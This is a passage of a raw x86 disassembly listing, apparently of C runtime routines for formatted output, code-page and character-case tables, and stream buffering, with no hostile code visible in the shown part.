loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC704 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C550 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C640 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28C04D4h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 cmp [ebp+var_18], 1 mov dword_4DC704, esi rep stosd stosb mov dword_4DC924, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC821[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C560[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C548[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC821[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC71C, 1 push eax mov dword_4DC704, eax call sub_42008C lea esi, dword_43C554[esi] mov edi, offset dword_4DC710 movsd movsd pop ecx mov dword_4DC924, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC821[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC924, eax mov dword_4DC71C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC71C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC710 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB330, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB330, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB330, 1 jmp near ptr 26619C6h ; --------------------------------------------------------------------------- dec ebx loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB330, 1 jmp near ptr 28C0C61h ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB374 mov dword_4DB330, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC820 rep stosd stosb xor eax, eax mov edi, offset dword_4DC710 mov dword_4DC704, eax mov dword_4DC71C, eax mov dword_4DC924, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC704 nop call near ptr 28C04D4h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC924 push dword_4DC704 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC924 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC924 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC821[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC720[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC821[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC720[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC821[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC720[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC821[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC720[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC954, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC954, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC71C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC821[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C534, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB2AC, ecx mov eax, offset dword_43C640 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C7A8 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB2A8, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C644[edx*8] mov dword_4DB2A8, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB2A8, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB2A8, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA38 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA58 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB490 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB334[eax*4], 0 push ebx push edi lea edi, ds:4DB334h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 